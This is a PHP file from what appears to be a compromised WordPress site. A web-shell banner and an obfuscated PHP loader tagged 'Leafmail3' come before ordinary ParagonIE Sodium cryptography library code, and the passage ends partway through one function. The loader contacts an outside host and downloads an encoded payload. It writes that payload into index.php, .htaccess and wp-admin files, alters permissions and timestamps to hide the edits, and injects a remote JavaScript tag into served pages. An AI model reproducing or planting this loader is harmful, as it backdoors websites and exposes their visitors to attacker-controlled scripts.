AlkantarClanX12
Your IP : 18.217.207.112
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
if (class_exists('ParagonIE_Sodium_Crypto32', false)) {
return;
}
/**
* Class ParagonIE_Sodium_Crypto
*
* ATTENTION!
*
* If you are using this library, you should be using
* ParagonIE_Sodium_Compat in your code, not this class.
*/
abstract class ParagonIE_Sodium_Crypto32
{
const aead_chacha20poly1305_KEYBYTES = 32;
const aead_chacha20poly1305_NSECBYTES = 0;
const aead_chacha20poly1305_NPUBBYTES = 8;
const aead_chacha20poly1305_ABYTES = 16;
const aead_chacha20poly1305_IETF_KEYBYTES = 32;
const aead_chacha20poly1305_IETF_NSECBYTES = 0;
const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
const aead_chacha20poly1305_IETF_ABYTES = 16;
const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
const aead_xchacha20poly1305_IETF_ABYTES = 16;
const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
const box_curve25519xsalsa20poly1305_MACBYTES = 16;
const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;
const onetimeauth_poly1305_BYTES = 16;
const onetimeauth_poly1305_KEYBYTES = 32;
const secretbox_xsalsa20poly1305_KEYBYTES = 32;
const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
const secretbox_xsalsa20poly1305_MACBYTES = 16;
const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
const secretbox_xsalsa20poly1305_ZEROBYTES = 32;
const secretbox_xchacha20poly1305_KEYBYTES = 32;
const secretbox_xchacha20poly1305_NONCEBYTES = 24;
const secretbox_xchacha20poly1305_MACBYTES = 16;
const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
const secretbox_xchacha20poly1305_ZEROBYTES = 32;
const stream_salsa20_KEYBYTES = 32;
/**
* AEAD Decryption with ChaCha20-Poly1305
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $ad
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function aead_chacha20poly1305_decrypt(
$message = '',
$ad = '',
$nonce = '',
$key = ''
) {
/** @var int $len - Length of message (ciphertext + MAC) */
$len = ParagonIE_Sodium_Core32_Util::strlen($message);
/** @var int $clen - Length of ciphertext */
$clen = $len - self::aead_chacha20poly1305_ABYTES;
/** @var int $adlen - Length of associated data */
$adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);
/** @var string $mac - Message authentication code */
$mac = ParagonIE_Sodium_Core32_Util::substr(
$message,
$clen,
self::aead_chacha20poly1305_ABYTES
);
/** @var string $ciphertext - The encrypted message (sans MAC) */
$ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 0, $clen);
/** @var string The first block of the chacha20 keystream, used as a poly1305 key */
$block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
32,
$nonce,
$key
);
/* Recalculate the Poly1305 authentication tag (MAC): */
$state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
try {
ParagonIE_Sodium_Compat::memzero($block0);
} catch (SodiumException $ex) {
$block0 = null;
}
$state->update($ad);
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
$state->update($ciphertext);
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
$computed_mac = $state->finish();
/* Compare the given MAC with the recalculated MAC: */
if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
throw new SodiumException('Invalid MAC');
}
// Here, we know that the MAC is valid, so we decrypt and return the plaintext
return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
$ciphertext,
$nonce,
$key,
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
}
/**
* AEAD Encryption with ChaCha20-Poly1305
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $ad
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function aead_chacha20poly1305_encrypt(
$message = '',
$ad = '',
$nonce = '',
$key = ''
) {
/** @var int $len - Length of the plaintext message */
$len = ParagonIE_Sodium_Core32_Util::strlen($message);
/** @var int $adlen - Length of the associated data */
$adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);
/** @var string The first block of the chacha20 keystream, used as a poly1305 key */
$block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
32,
$nonce,
$key
);
$state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
try {
ParagonIE_Sodium_Compat::memzero($block0);
} catch (SodiumException $ex) {
$block0 = null;
}
/** @var string $ciphertext - Raw encrypted data */
$ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
$message,
$nonce,
$key,
ParagonIE_Sodium_Core32_Util::store64_le(1)
);
$state->update($ad);
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
$state->update($ciphertext);
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
return $ciphertext . $state->finish();
}
/**
* AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
*
* @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
*
* @param string $message
* @param string $ad
* @param string $nonce
* @param string $key
* @return string
* @throws SodiumException
* @throws TypeError
*/
public static function aead_chacha20poly1305_ietf_decrypt(
$message = '',
$ad = '',
$nonce = '',
$key = ''
) {
/** @var int $adlen - Length of associated data */
$adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);
/** @var int $len - Length of message (ciphertext + MAC) */
$len = ParagonIE_Sodium_Core32_Util::strlen($message);
/** @var int $clen - Length of ciphertext */
$clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;
/** @var string The first block of the chacha20 keystream, used as a poly1305 key */
$block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
32,
$nonce,
$key
);
/** @var string $mac - Message authentication code */
$mac = ParagonIE_Sodium_Core32_Util::substr(
$message,
$len - self::aead_chacha20poly1305_IETF_ABYTES,
